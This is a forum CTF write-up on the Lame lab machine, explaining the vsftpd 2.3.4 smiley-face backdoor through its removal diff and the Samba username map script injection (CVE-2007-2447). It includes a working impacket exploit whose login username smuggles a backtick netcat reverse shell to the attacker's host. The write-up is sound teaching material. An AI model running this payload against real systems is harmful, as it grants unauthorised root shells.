Hey everybody, welcome to my first post on 0x00sec and hopefully the first of many in this Through The Looking Glass series.
The Purpose
A lot of Writeups are very straightforward, you nmap the server, you find the vulnerable service. You searchsploit ‘vulnerable service and version’, you load the appropriate msf-module and flags are raining across the screen.
I wanted to have a better look at how these exploits work, and how we can find and create exploits just by looking at patches and the like.
For advanced CTF’ers and Pwners this won’t be anything new, it might not be new if you’ve read vulnerability analysis, but I hope it can be a good resource for new people who are interested in how this stuff all comes together. ( And it’s a good way to try and force myself to contribute )
With that out of the way,…
Enter LAME (vsftpd 2.3.4 backdoor and CVE-2007-2447)
I wanted to start bigger, and not use vulnerability scanners.
Because of this, I started out with my nmap portscan, and just began my journey on the lowest port.
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
vsftpd 2.3.4 and vsf_sysutil_extra backdoor
Because the year is 2020 and news spreads fast, when I started my dumb approach of vsftpd, the term backdoor immediately got thrown in my face upon the first Google search.
It turns out that, at some point in time, someone had managed to build a backdoor into vsftpd.
Armed with this knowledge, I found a blog post by the maintainer of vsftpd that contained a link to pastebin, where a diff was shown from after the backdoor was removed (longer code ahead):
Full Patch
diff -ur vsftpd-2.3.4/str.c vsftpd-2.3.4.4players/str.c
--- vsftpd-2.3.4/str.c 2011-06-30 15:52:38.000000000 +0200
+++ vsftpd-2.3.4.4players/str.c 2008-12-17 06:54:16.000000000 +0100
@@ -569,11 +569,6 @@
{
return 1;
}
- else if((p_str->p_buf[i]==0x3a)
- && (p_str->p_buf[i+1]==0x29))
- {
- vsf_sysutil_extra();
- }
}
return 0;
}
Only in vsftpd-2.3.4: str.o
Only in vsftpd-2.3.4: strlist.o
diff -ur vsftpd-2.3.4/sysdeputil.c vsftpd-2.3.4.4players/sysdeputil.c
--- vsftpd-2.3.4/sysdeputil.c 2011-06-30 15:58:00.000000000 +0200
+++ vsftpd-2.3.4.4players/sysdeputil.c 2010-03-26 04:25:33.000000000 +0100
@@ -34,10 +34,7 @@
/* For FreeBSD */
#include <sys/param.h>
#include <sys/uio.h>
-#include <netinet/in.h>
-#include <netdb.h>
-#include <string.h>
-#include <stdlib.h>
+
#include <sys/prctl.h>
#include <signal.h>
@@ -220,7 +217,7 @@
static int s_proctitle_inited = 0;
static char* s_p_proctitle = 0;
#endif
-int vsf_sysutil_extra();
+
#ifndef VSF_SYSDEP_HAVE_MAP_ANON
#include <sys/types.h>
#include <sys/stat.h>
@@ -843,30 +840,6 @@
}
}
-int
-vsf_sysutil_extra(void)
-{
- int fd, rfd;
- struct sockaddr_in sa;
- if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
- exit(1);
- memset(&sa, 0, sizeof(sa));
- sa.sin_family = AF_INET;
- sa.sin_port = htons(6200);
- sa.sin_addr.s_addr = INADDR_ANY;
- if((bind(fd,(struct sockaddr *)&sa,
- sizeof(struct sockaddr))) < 0) exit(1);
- if((listen(fd, 100)) == -1) exit(1);
- for(;;)
- {
- rfd = accept(fd, 0, 0);
- close(0); close(1); close(2);
- dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
- execl("/bin/sh","sh",(char *)0);
- }
-}
-
-
void
vsf_sysutil_set_proctitle_prefix(const struct mystr* p_str)
{
If you’ve ever programmed sockets in C, You immediately recognize the part where the TCP Server is being set up, if you don’t, Here’s a good read
- sa.sin_family = AF_INET;
- sa.sin_port = htons(6200);
- sa.sin_addr.s_addr = INADDR_ANY;
- if((bind(fd,(struct sockaddr *)&sa,
- sizeof(struct sockaddr))) < 0) exit(1);
- if((listen(fd, 100)) == -1) exit(1);
- for(;;)
- {
- rfd = accept(fd, 0, 0);
- close(0); close(1); close(2);
- dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
- execl("/bin/sh","sh",(char *)0);
So a TCP Server is being set up on port 6200 in this function, and then it just accepts any connection and pipe’s everything from and to /bin/sh.
The other part shows us how we can trigger this function:
- else if((p_str->p_buf[i]==0x3a)
- && (p_str->p_buf[i+1]==0x29))
- {
- vsf_sysutil_extra();
- }
}
We have this mysterious buffer called p_buf that’s a member of p_str, and if the i’d and i+1’d character respectively are 0x3a and 0x29, it runs the vsf_sysutil_extra() function, effectively setting up the backdoor on port 6200.
The snake quickly shows us what these bytes are:
>>> s = b'\x3a\x29'
>>> s.encode('utf-8')
':)'
Because I couldn’t find the original source code for vsftpd 2.3.4 that had this vulnerability, I later found out that one of the things that enters p_str’s p_buf, is the username.
So all we have to do to trigger the backdoor is enter a smileyface for the username, and the backdoor should spawn on 6200.
jarvis@kali:~/Documents/research$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:jarvis): :)
331 Please specify the password.
Password: (eehm wtf?)
530 Login incorrect.
Login failed.
ftp> exit
221 Goodbye.
So after 2 hours of trying to find the details of this vulnerability, finding an anticlimactic tcp bind backdoor, it turns out it’s anti-anticlimactically patched ! Seems like this box didn’t steal its name
Samba 3.0.20
Because I didn’t have smbv1 enabled, my machine couldn’t properly communicate with the server’s smbd and I had no idea where to start with this approach.
I could just load every samba exploit into metasploit, and I’d probably find one that works, but that wont be interesting and I wont learn from that.
I later ran into this script, that uses the amazing impacket library to test for smbv1.
Lo and behold:
jarvis@ubuntu:~/Tools$ python3 check_smb1.py 10.10.10.3
Attempting SMBv1 connection to 10.10.10.3...
Success!
Now that we know this, we ran smbclient from our smbv1 enabled machine and quickly found a correct version number: 3.0.20.
I started looking around CVEDetails and found this nice little CVE.
The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the “username map script” smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.
It’s a very long shot, because it requires a non-default option to be turned on. But it’s a solid exploit and certainly worth a try from this point of view.
We find a patch for 3 vulnerabilities for version 3.0.24:
Which also has our CVE-2007-2447.
A link to the full patch is here if you want to read it, I’ll only include relevant parts below.
I downloaded the 3.0.24 source code, applied the patch and started a comparison in Meld (I don’t like reading raw patch notes, sue me).
A first indicator of a possible fix was here:
They added an option to the smbrun function to toggle sanitizing.
Does that mean stuff didn’t get sanitized before?
And that’s when we see it in all its glory:
What this means, is that if we have ANY saying over what’s in ‘cmd’, we might just have found our RCE.
I quickly grep the source files for uses of this smb function and notice something interesting:
Full Grep
jarvis@kali:~/Documents/research/samba-3.0.24/source$ grep -ir 'smbrun('
passdb/pdb_interface.c: add_ret = smbrun(add_script,NULL);
passdb/pdb_interface.c: ret = smbrun(del_script,NULL);
passdb/pdb_tdb.c: rename_ret = smbrun(rename_script, NULL);
passdb/pdb_ldap.c: rc = smbrun(rename_script, NULL);
passdb/pdb_smbpasswd.c: rename_ret = smbrun(rename_script, NULL);
printing/print_generic.c: ret = smbrun(syscmd,outfd);
smbd/map_username.c: ret = smbrun(command, &fd);
smbd/service.c: ret = smbrun(cmd,NULL);
smbd/service.c: ret = smbrun(cmd,NULL);
smbd/service.c: smbrun(cmd,NULL);
smbd/service.c: smbrun(cmd,NULL);
smbd/close.c: ret = smbrun(fname,&tmp_fd);
smbd/lanman.c: if ((res = smbrun(command, NULL)) != 0) {
smbd/message.c: smbrun(s,NULL);
lib/smbrun.c:This is a utility function of smbrun().
lib/smbrun.c:int smbrun(const char *cmd, int *outfd)
nmbd/nmbd_winsserver.c: smbrun(command, NULL);
utils/net_rpc_samsync.c: add_ret = smbrun(add_script,NULL);
services/svc_rcinit.c: ret = smbrun( command , &fd );
services/svc_rcinit.c: ret = smbrun( command , &fd );
services/svc_rcinit.c: ret = smbrun( command , &fd );
auth/auth_util.c: ret = smbrun(add_script,NULL);
auth/auth_util.c: if (smbrun(command, NULL) != 0) {
rpc_server/srv_srvsvc_nt.c: if ( (ret = smbrun(command, NULL)) == 0 ) {
rpc_server/srv_srvsvc_nt.c: if ( (ret = smbrun(command, NULL)) == 0 ) {
rpc_server/srv_srvsvc_nt.c: if ( (ret = smbrun(command, NULL)) == 0 ) {
rpc_server/srv_spoolss_nt.c: if ( (ret = smbrun(command, NULL)) == 0 ) {
rpc_server/srv_spoolss_nt.c: ret = smbrun(command, &fd);
rpc_server/srv_spoolss_nt.c: if ( (ret = smbrun(command, &fd)) == 0 ) {
rpc_server/srv_spoolss_nt.c: ret = smbrun(command, &fd);
rpc_server/srv_reg_nt.c: ret = smbrun( shutdown_script, NULL );
rpc_server/srv_reg_nt.c: ret = smbrun( abort_shutdown_script, NULL );
groupdb/mapping.c: ret = smbrun(add_script, &fd);
groupdb/mapping.c: ret = smbrun(del_script,NULL);
groupdb/mapping.c: ret = smbrun(add_script,NULL);
groupdb/mapping.c: ret = smbrun(add_script,NULL);
groupdb/mapping.c: ret = smbrun(del_script,NULL);
There’s this line:
smbd/map_username.c: ret = smbrun(command, &fd);
CVEDetails clearly made note of the “username map script” being enabled in the config.
When reading the comments, we notice that’s pretty much gonna be all there’s to it:
…
This is the main function that should be called once on
any incoming or new username - in order to canonicalize the name.
…
So, if the script is enabled, on every incoming connection this command will be called?
And then we see how we might get our input into the cmd variable:
pstr_sprintf( command, "%s \"%s\"", cmd, user );
ret = smbrun(command, &fd);
This basically creates a string ‘some_command “user”’ and passes it to smbrun.
smbrun in turn, just execl’s this without sanitizing.
The exploit
We know this function takes a hardcoded or variable ‘map user’ command, and then appends our username to it, this makes its way to execl and gets piped into /bin/sh -c.
When adding backticks, (which are specifically filtered after the patch), you will execute the command inside those backticks before passing it to the outer command.
So what would happen if our username was Jimmyls
?
Our command string would become map_user_command “Jimmyls
”
So what if our map_user_command hypothetically is echo ?
jarvis@kali:~/Documents/research$ echo "Jimmy`ls`"
Jimmysamba-3.0.24
samba-3.0.24-patched
samba-3.0.24.tar.gz
samba.patch
I quickly grabbed the SMBv1 checker, and modified it to send a netcat reverse shell payload.
from impacket.smbconnection import SMBConnection, smb
import click
@click.command()
@click.argument('ip')
@click.argument('rev_shell_ip')
@click.argument('rev_shell_port')
def check_smbv1(ip, rev_shell_ip, rev_shell_port):
click.echo(f'Attempting SMBv1 connection to {ip}', nl=False)
try:
s = SMBConnection('*SMBSERVER', ip, preferredDialect=smb.SMB_DIALECT)
if isinstance(s, SMBConnection):
click.secho('Success!', fg='green')
click.secho('Attempting to send PoC exploit payload...', fg='yellow')
s.login(b'Jimmy`nc 10.10.14.30 4444 -e /bin/bash`', 'fakepass')
except Exception as e:
click.secho('Failed...', fg='red', nl=False)
click.echo(e)
return
if __name__ == '__main__':
check_smbv1()
And the magic came all together:
Because SMBd was running as root, this was pretty much all there is to this machine.
I hoped you enjoyed reading, if you have questions or tips let me know, dont forget to <3 the post if you liked it, so I know I can do more of this basic stuff on here!
Ah, I allmost forgot the flags!
Summary
Get your own flags, lazy
Thanks all,
Jarvis